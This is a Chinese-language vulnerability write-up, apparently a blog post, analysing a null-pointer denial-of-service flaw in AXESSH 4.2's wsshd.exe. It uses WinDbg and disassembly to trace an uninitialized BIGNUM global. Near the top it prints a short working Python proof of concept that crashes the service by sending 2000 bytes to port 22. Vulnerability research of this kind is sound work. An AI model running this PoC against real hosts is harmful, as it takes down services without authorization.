漏洞分析——AXESSH 4.2拒绝服务漏洞

对于软件AXESSH 4.2中存在的空指针引用导致的拒绝服务漏洞的分析。

参考自:https://whereisk0shl.top/post/2019-01-13
poc如下——

import socket

print "Axessh 4.2.2 XwpSSHD (wsshd.exe) Remote Denial Of Service"

ip = raw_input("[IP]> ")
port = 22
payload="A"*2000
s=socket.create_connection((ip,port))
s.send(payload) 

1.背景知识

A.关于软件AXESSH 4.2

Axessh is a Windows SSH client. It is a superb terminal emulator/telnet client for Windows. It provides SSH capabilities to Axessh without sacrificing any of existing functionality. SSH is the industry standard for remote logins.

这个软件集中也包含各种不同功能对应的exe,当前漏洞存在于其中的wsshd.exe中。

B.关于空指针异常

以java语言为例,可能抛出空指针异常的情况有以下几种。

  1. Calling the instance method of a null object. 调用了一个空对象(null object)的实例方法时。
  2. Accessing or modifying the field of a null object. 访问或者修改了一个空对象(null object)的域时。
  3. Taking the length of null as if it were an array. 当数组时一个空对象的时候,取它的长度时。
  4. Accessing or modifying the slots of null as if it were an array. 当对数组中的某些null的元素进行访问或者修改的时候。
  5. Throwing null as if it were a Throwable value. 假如null当作Throwable的值时将会抛出异常。

Java防空指南(NullPointerException),看这一篇就差不多了
关于Java空指针异常的几种情况的总结(java.lang.NullPointerException)

2.漏洞复现

解压安装完应用程序后,运行安装目录下的wsshd.exe,然后运行poc,可成功触发崩溃如下图。

然后用WinDbg捕获崩溃现场,如下图所示。

接下来以上图中的402bfe处的代码为入手点,分析漏洞触发原理。

3.漏洞分析

A.分析思路1

根据关键数据流向进行分析。

首先,我们可以看到,在出问题的语句前,程序对ecx的赋值为mov ecx, dword_453F40,所以关键数据在于dword_453F40

然后,我们关注整个程序中存在的对于dword_453F40的赋值操作,可以看到总共有如下图所示的4处赋值。

于是,我们在WinDbg中对上述4处赋值操作下断点,然后运行程序,发现并未触发任何一处断点,程序直接崩溃,所以可以看出这是一个直接引用未初始化变量导致的空指针异常。

B.分析思路2

梳理关键代码流程。

函数sub_4036A0在地址4049b8处调用了漏洞函数sub_402BB0
sub_4036A0在地址403c36处对dword_453F40进行了初始化赋值操作;
但是在执行过程中并未执行对应的初始化操作,就直接调用了漏洞函数。

C.参考教程分析思路

结合程序中出现的API,辅助程序分析和理解。

如上图,在漏洞触发位置调用了函数BN_num_bits函数,这个函数作用是openssl中负责处理将BNNUM结构体(openssl中带的专门处理大数的一种数据结构)中的字符转换成二进制的,于是我们可以推断出dword_453F40处存放的应该是一个BNNUM结构体。

而在openssl中,是通过BN_new的方法初始化BNNUM结构体的,所以找到BN_new方法并下断点,即可发现程序并没有进行结构体的初始化就直接调用了,所以导致了空指针引用,引发了拒绝服务漏洞。

Openssl 学习—2.BIGNUM结构